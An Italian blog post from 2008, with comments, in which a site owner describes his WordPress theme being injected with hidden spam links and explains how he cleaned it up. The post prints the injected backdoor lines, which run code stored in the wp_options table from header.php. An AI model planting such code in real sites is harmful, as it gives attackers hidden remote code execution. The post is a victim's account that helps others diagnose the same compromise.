“Goro” spam: vulnerabilità WordPress?

GoroIl post nel quale Mik racconta di un problema di sicurezza avuto sul suo blog, mi ha fatto ricordare che qualche tempo fa una cosa del genere è successa anche a me. Un simpatico burlone era riuscito a modificare il file header.php del mio tema in modo tale da far apparire alcune righe di link spammosi (i soliti viagra, cialis, rolex fasulli e casinò online) sopra la testata del blog. Stranamente questi link a me non venivano mostrati, quindi non mi ero accorto di niente. Poi il caro Manfrys, scherzando, mi ha chiesto quanto stessi guadagnando da tutta quella pubblicità e così è scattato l’allarme rosso e mi sono fiondato su Google alla ricerca di informazioni e consigli utili per risolvere questa vulnerabilità. Risultato della ricerca: zero. Problemi simili al mio si erano verificati su blog che giravano su versioni molto vecchie di WordPress, sfruttando una falla poi chiusa: io invece stavo utilizzando l’ultima versione disponibile (all’epoca la 2.3.3) e non avevo installato alcun plugin di cui fossero noti problemi. Da una rapida occhiata al sorgente della home pubblicata online, mi sono accorto che i link di spam venivano richiamati attraverso un misterioso:

<div id="goro"> <a href="...">...</a> </div>

In corrispondenza dell’enigmatico goro, nel file header.php erano state aggiunte le seguenti righe di codice:

<?php create_function('', get_option("blog_headers")); ?>
...
<?php $wp_headers() ?>

In pratica, il caro untore era riuscito persino a sputtanarmi il database. Non essendo io in grado di stabilire se la colpa fosse di WordPress, del mio hosting o di chissà cosa, non ho potuto fare altro che ripristinare il file header.php da un backup, eliminare le centinaia di voci rss_millemilacaratteriacazzo aggiunte alla tabella wp_options del database ed infine blindare le cartelle di WordPress, rinunciando anche alla possibilità di modificare i file del mio tema ed i plugin direttamente dal pannello di controllo. Condivido la mia (dis)avventura affinché altre eventuali vittime di questo pirla possano arrivare qui tramite Google e risolvere il problema, ma soprattutto affinché eventuali guru possano magari capire come eliminarne la causa.

14 commenti »
  1. Commento di Mik, 15 aprile 2008 @ 21:15

    Ti ringrazio per aver segnalato il mio articolo e per aver condiviso con tutti, i tuoi guai.
    Tra l’altro ho ancora questo benedetto trojan nel mio portatile e non sono riuscito ad eliminarlo. Io mi chedo se queste simpaticche canaglie non hanno niente di meglio da fare che violare blog che danno un contributo alla blogosfera italiana.

  2. Commento di hermansji, 15 aprile 2008 @ 21:40

    @Maxime scusa la domanda ma hai “blindato” tutte tutte le cartelle? anche upload ecc. ecc.

    Comunque io ho un inconveniente curioso sul mio secondo blog (gira su 2.3.3 e non posso per ora aggiornarlo) quando posto all’interno del post si aggiungono linee di codice provenienti dalla dashboard con tanto di benvenuto ecc. ecc. e gli rss delle notizie ed i link d’ingresso me ne sono accorto rileggendo alcuni post e vedendo scritte e pulsanti sovrapposti al template.
    .:.

  3. Commento di talksina, 16 aprile 2008 @ 10:31

    mai vista una cosa simile…io uso il tema stardust in entrambi i siti(anche se uno non è mio) e non ho visto niente, non mi è mai successa questa menata, non è che possa essere il tema ad avere qualche vulnerabilità? Il 2.5 di wp non lo ho ancora messo perché mi dà problemi sul media uploader e avendo un sito di audio lo tengo in manutenzione fino a che non risolvono i guai, cmq fammi sapere quale è il tema, così non lo scarico! ciao

  4. Commento di Dadevoti, 16 aprile 2008 @ 13:53

    Accidenti ed io sono appena passato su WP 2.5 speriamo bene :|

  5. Commento di Clockwise, 16 aprile 2008 @ 14:14

    Peraltro, da che sapevo, Technorati non indicizza più (o voleva non indicizzare più) WordPress < 2.5.
    Credo sia un errore. Va risolta la falla, non bandito chi ne è affetto!
    Però, se non ho capito male, la falla è comunque rimasta!

  6. Commento di maga, 18 aprile 2008 @ 9:10

    anche a me è successo un mese fa circa su un blog Wordpress 2.3.3. Mi erano comparsi un paio di link spam nella colonna laterale di destra. Mi ricordo soltanto che per toglierli, oltre a cancellarli dal blogroll ho dovuto anche reimpostare i widget della colonna laterale.

  7. Commento di Mario Pascucci, 18 aprile 2008 @ 16:26

    Partendo dal tuo post, e seguendo una catena di link, ho fatto qualche indagine, e la cosa potrebbe essere peggio di quanto sembra. Sul mio blog ho fatto una analisi preliminare, se vi interessa è là.
    In due casi ho trovato siti con Wordpress 2.5 compromessi. Potrebbero essere “rimanenze” dell’intrusione lasciate dall’upgrade fatto troppo in fretta, ma dato che il codice presente sulle pagine interviene al livello di header, quindi prima ancora che venga emesso un solo tag HTML, non ci conterei troppo. Ho già cercato di contattare il team di Wordpress, ma non ho ancora ricevuto risposta.

  8. Commento di nex, 22 aprile 2008 @ 9:28

    E’ un problema noto (ma la soluzione non sembra che sia abbastanza nota :-)

    se cerchi su google: “header.php modified spam” oppure “spam goro” trovi molte informazioni:
    link 1
    link 2
    link 3

    ciao!

  9. Commento di Maxime, 22 aprile 2008 @ 10:40

    hermansji: ho blindato tutte le cartelle che potevano essere tranquillamente blindate senza che il funzionamento di WordPress ne risentisse. In particolare, la cartella upload non può essere blindata, se la usi… ;)

    nex: conoscevo quei link (e tanti altri ancora, visto che dopo quel problema ho passato le nottate su Google e sui forum), ma a quanto pare nessuno ha avuto il mio stesso identico problema. Di simile c’è solo il fantomatico “goro”…

  10. Commento di Damiano, 24 aprile 2008 @ 1:02

    Ciao!!!

    Hai mica un invito di twine da mandarmi??

    ilbellodelweb@gmail.com

    Grazie e bel blog ;)

  11. Commento di Kagliostro, 25 aprile 2008 @ 9:56

    OT: manco a farlo apposta passavo da queste parti proprio per chiederti il nome del tuo hosting visto che nei miei pellegrinaggi alla ricerca di un nuovo servizio di hosting, ero incappato in un tuo vecchio post in cui parlavi dell’abbandono di Tophost.
    E mi ero segnato il tuo blog perché avevo notato che il tuo dominio non solo funziona anche senza il “www” davanti all’indirizzo, ma lo stesso vale per i permalink ed i sottodomini (Aruba ad es. li reindirizza sempre alla HP).
    Beh visto che l’hai scritto nel post non ti devo rompere con una mail… quando si dice la coincidenza ;) ))
    Ciaoooooooo

    PS: mi è venuto un dubbio: non è che i problemi di sicurezza dipendavano proprio dal tuo hosting? ;) )))

  12. Commento di Maxime, 25 aprile 2008 @ 12:32

    Damiano: inviti terminati, mi dispiace. Provo a chiedere a qualche amico. ;)

    Kagliostro: quando si è verificato quel problema già non ero più su TopHost, ma su WebPerTe.

  13. Commento di Kagliostro, 26 aprile 2008 @ 13:06

    Sì sì, Maxime, l’avevo capito. Ed infatti mi chiedevo se i tuoi attuali problemi -risolti- fossero dovuti proprio al “nuovo” hosting.
    In ogni caso sono molto tentato di provarlo questo Webperte…
    Anzi, se esistono delle promozioni per chi porta qualcuno, fammi sapere che mi iscrivo grazie a te visto che c’è proprio un dominio che vorrei comprare da tanto tempo (niente di che, ma così vedo com’è il piano REDIRECT che offre la casa madre di Wepperte cioé http://hsp.aziendeitalia.com/hspc/plans.php).
    Ciaoooooo

  14. Commento di manfrys, 27 aprile 2008 @ 22:18

    … quindi non mi stavo “facendo” di sostanze strane ;-) !! Ciao Maxime!

RSS feed dei commenti a questo articolo. TrackBack URL

Lascia un commento